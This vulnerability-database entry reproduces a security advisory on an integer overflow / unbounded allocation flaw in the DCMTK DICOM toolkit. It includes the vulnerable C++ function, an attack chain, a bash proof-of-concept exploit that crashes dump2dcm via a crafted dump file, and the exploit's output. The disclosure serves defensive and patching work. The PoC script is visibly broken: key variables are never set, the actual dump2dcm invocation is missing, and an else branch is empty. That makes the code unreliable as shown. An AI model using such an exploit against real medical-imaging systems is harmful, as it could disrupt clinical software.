GCVE-1988-2026-0027
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-050
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
DCMTK's textual value import is vulnerable to unbounded Value Multiplicity
(VM) allocation. An attacker who can supply a crafted textual DICOM dump
or XML/JSON import payload can cause memory exhaustion or heap buffer
overflow via integer overflow in the typed array allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)
counts backslash ('\') delimiters in a textual element value string and
returns the count as the VM:
unsigned long DcmElement::determineVM(const char *str, const size_t len)
{
unsigned long vm = 0;
if ((str != NULL) && (len > 0)) {
vm = 1;
const char *p = str;
for (size_t i = 0; i < len; i++) {
if (*p++ == '\\')
vm++;
}
}
return vm;
}
This value is used throughout the VR implementation to allocate typed
arrays:
- dcvrsl.cc:335: new Sint32[vm]
- dcvrul.cc: new Uint32[vm]
- dcvrus.cc: new Uint16[vm]
- dcvrfd.cc: new Float64[vm]
- ... and many more
A crafted ASCII dump containing a numeric VR element with many
backslash-separated tokens yields a large VM. Allocating Float64[vm]
requires 8 * vm bytes before the converted binary value is inserted into
the DICOM object. With sufficiently large inputs on 32-bit builds,
vm * sizeof(T) can also overflow size_t, producing a small allocation
that is subsequently written beyond bounds.
The attack chain is as follows:
1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR
element (SL, UL, FD, etc.) whose value consists of a large number
of backslash-delimited tokens.
2. determineVM() counts the tokens and returns an unbounded VM.
3. The VR putString() allocates new T[vm] without bounds checking.
4. Memory exhaustion (DoS) or heap buffer overflow is triggered via
an integer overflow in the allocation size.
This path is reached by APIs and tools that parse textual values into
typed numeric VRs, e.g. dump2dcm calling DcmElement::putString().
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following exploit script creates a specially crafted ASCII DICOM
dump file with a numeric VR element (SL) containing many backslash-
separated tokens. This file is processed with dump2dcm under a memory
limit to trigger the memory exhaustion (std::bad_alloc).
cat > poc.sh << 'EOPOC'
#!/bin/bash
#
# POC Exploit for unbounded VM allocation in dump2dcm
# Proof of concept exploit for SYSS-2026-050
#
# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)
# containing NUM_VALUES backslash-separated tokens, then feeds it
# to dump2dcm under a memory limit to trigger std::bad_alloc.
#
set -euo pipefail
DUMP2DCM="dump2dcm"
WORKDIR="/tmp/dump2dcm_poc_$$"
MEMORY_LIMIT=24576 # 24 MB virtual memory limit
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
echo "=== PoC: Unbounded VM Allocation in dump2dcm ==="
echo ""
echo "Vulnerability: DcmElement::determineVM() counts backslash delimiters"
echo " without bounds, causing new Sint32[vm] to allocate"
echo " vm * 4 bytes without any cap."
echo ""
echo "Configuration:"
echo " Values (VM): $NUM_VALUES"
echo " dump2dcm: $DUMP2DCM"
echo ""
mkdir -p "$WORKDIR"
DUMP_FILE="$WORKDIR/exploit.dump"
OUTPUT_FILE="$WORKDIR/exploit.dcm"
# Generate the payload using Python (avoids shell escaping issues)
python3 "$SCRIPT_DIR/generate_payload.py" "$NUM_VALUES" > "$DUMP_FILE"
DUMP_SIZE=$(du -sh "$DUMP_FILE" | cut -f1)
echo "[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)"
echo ""
echo "[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)..."
echo ""
# Run dump2dcm with memory limit
# +l sets max line length to 10M to accommodate the crafted SL element
ulimit -v "$MEMORY_LIMIT"
echo "---"
echo "Result:"
echo " Exit code: $EXIT_CODE"
echo " Output:"
echo "$OUTPUT" | tail -20
echo ""
# Clean up
rm -rf "$WORKDIR"
if [ $EXIT_CODE -ne 0 ]; then
echo "[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE"
echo " The unbounded VM allocation exhausted memory as expected."
else
fi
echo ""
echo "=== PoC complete ==="
EOPOC
The following output shows a successful exploit crashing dump2dcm:
./poc.sh
=== PoC: Unbounded VM Allocation in dump2dcm ===
Vulnerability: DcmElement::determineVM() counts backslash delimiters
without bounds, causing new Sint32[vm] to allocate
vm * 4 bytes without any cap.
Configuration:
Values (VM): 4000000
Allocation: Sint32[4000000] = 15 MB
Memory limit: 24576 KB (24 MB)
dump2dcm: dump2dcm
[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)
[*] Running dump2dcm under memory limit (ulimit -v 24576)...
- ---
Result:
Exit code: 134
Output:
terminate called after throwing an instance of 'std::bad_alloc'
what(): std::bad_alloc
[+] SUCCESS: dump2dcm crashed with exit code 134
The unbounded VM allocation exhausted memory as expected.
=== PoC complete ===
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-050
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-050\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: Medium\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s textual value import is vulnerable to unbounded Value Multiplicity\n(VM) allocation. An attacker who can supply a crafted textual DICOM dump\nor XML/JSON import payload can cause memory exhaustion or heap buffer\noverflow via integer overflow in the typed array allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)\ncounts backslash (\u0027\\\u0027) delimiters in a textual element value string and\nreturns the count as the VM:\n\n unsigned long DcmElement::determineVM(const char *str, const size_t len)\n {\n unsigned long vm = 0;\n if ((str != NULL) \u0026\u0026 (len \u003e 0)) {\n vm = 1;\n const char *p = str;\n for (size_t i = 0; i \u003c len; i++) {\n if (*p++ == \u0027\\\\\u0027)\n vm++;\n }\n }\n return vm;\n }\n\nThis value is used throughout the VR implementation to allocate typed\narrays:\n\n - dcvrsl.cc:335: new Sint32[vm]\n - dcvrul.cc: new Uint32[vm]\n - dcvrus.cc: new Uint16[vm]\n - dcvrfd.cc: new Float64[vm]\n - ... and many more\n\nA crafted ASCII dump containing a numeric VR element with many\nbackslash-separated tokens yields a large VM. Allocating Float64[vm]\nrequires 8 * vm bytes before the converted binary value is inserted into\nthe DICOM object. With sufficiently large inputs on 32-bit builds,\nvm * sizeof(T) can also overflow size_t, producing a small allocation\nthat is subsequently written beyond bounds.\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR\n element (SL, UL, FD, etc.) whose value consists of a large number\n of backslash-delimited tokens.\n\n 2. determineVM() counts the tokens and returns an unbounded VM.\n\n 3. The VR putString() allocates new T[vm] without bounds checking.\n\n 4. Memory exhaustion (DoS) or heap buffer overflow is triggered via\n an integer overflow in the allocation size.\n\nThis path is reached by APIs and tools that parse textual values into\ntyped numeric VRs, e.g. dump2dcm calling DcmElement::putString().\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a specially crafted ASCII DICOM\ndump file with a numeric VR element (SL) containing many backslash-\nseparated tokens. This file is processed with dump2dcm under a memory\nlimit to trigger the memory exhaustion (std::bad_alloc).\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# POC Exploit for unbounded VM allocation in dump2dcm\n# Proof of concept exploit for SYSS-2026-050\n#\n# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)\n# containing NUM_VALUES backslash-separated tokens, then feeds it\n# to dump2dcm under a memory limit to trigger std::bad_alloc.\n#\n\nset -euo pipefail\n\nDUMP2DCM=\"dump2dcm\"\nWORKDIR=\"/tmp/dump2dcm_poc_$$\"\n\nMEMORY_LIMIT=24576 # 24 MB virtual memory limit\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\n\necho \"=== PoC: Unbounded VM Allocation in dump2dcm ===\"\necho \"\"\necho \"Vulnerability: DcmElement::determineVM() counts backslash delimiters\"\necho \" without bounds, causing new Sint32[vm] to allocate\"\necho \" vm * 4 bytes without any cap.\"\necho \"\"\necho \"Configuration:\"\necho \" Values (VM): $NUM_VALUES\"\n\necho \" dump2dcm: $DUMP2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\nDUMP_FILE=\"$WORKDIR/exploit.dump\"\nOUTPUT_FILE=\"$WORKDIR/exploit.dcm\"\n\n\n\n# Generate the payload using Python (avoids shell escaping issues)\npython3 \"$SCRIPT_DIR/generate_payload.py\" \"$NUM_VALUES\" \u003e \"$DUMP_FILE\"\n\nDUMP_SIZE=$(du -sh \"$DUMP_FILE\" | cut -f1)\necho \"[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)\"\n\necho \"\"\necho \"[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)...\"\necho \"\"\n\n# Run dump2dcm with memory limit\n# +l sets max line length to 10M to accommodate the crafted SL element\nulimit -v \"$MEMORY_LIMIT\"\n\n\necho \"---\"\necho \"Result:\"\necho \" Exit code: $EXIT_CODE\"\necho \" Output:\"\necho \"$OUTPUT\" | tail -20\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n echo \"[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE\"\n echo \" The unbounded VM allocation exhausted memory as expected.\"\nelse\n\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe following output shows a successful exploit crashing dump2dcm:\n\n./poc.sh\n=== PoC: Unbounded VM Allocation in dump2dcm ===\n\nVulnerability: DcmElement::determineVM() counts backslash delimiters\n without bounds, causing new Sint32[vm] to allocate\n vm * 4 bytes without any cap.\n\nConfiguration:\n Values (VM): 4000000\n Allocation: Sint32[4000000] = 15 MB\n Memory limit: 24576 KB (24 MB)\n dump2dcm: dump2dcm\n\n\n[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)\n\n[*] Running dump2dcm under memory limit (ulimit -v 24576)...\n\n- ---\nResult:\n Exit code: 134\n Output:\nterminate called after throwing an instance of \u0027std::bad_alloc\u0027\n what(): std::bad_alloc\n\n[+] SUCCESS: dump2dcm crashed with exit code 134\n The unbounded VM allocation exhausted memory as expected.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-050\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/28"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/28"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0027",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28",
"automated": true,
"contentSha256": "c35c1b26ce0505ed151309b9cafa170f277e270bb50d414ec4a7a4bbdcce2835",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/28",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T08:02:55Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0027"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.